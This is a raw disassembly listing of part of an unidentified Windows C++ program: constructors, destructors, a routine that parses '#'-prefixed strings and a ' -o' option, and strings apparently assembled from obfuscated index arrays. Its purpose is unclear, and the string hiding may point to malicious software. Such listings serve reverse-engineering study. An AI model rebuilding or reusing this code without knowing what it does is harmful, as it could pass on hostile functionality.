loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 85680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E556800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C6AAE890h
		dd 0C88B023Eh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
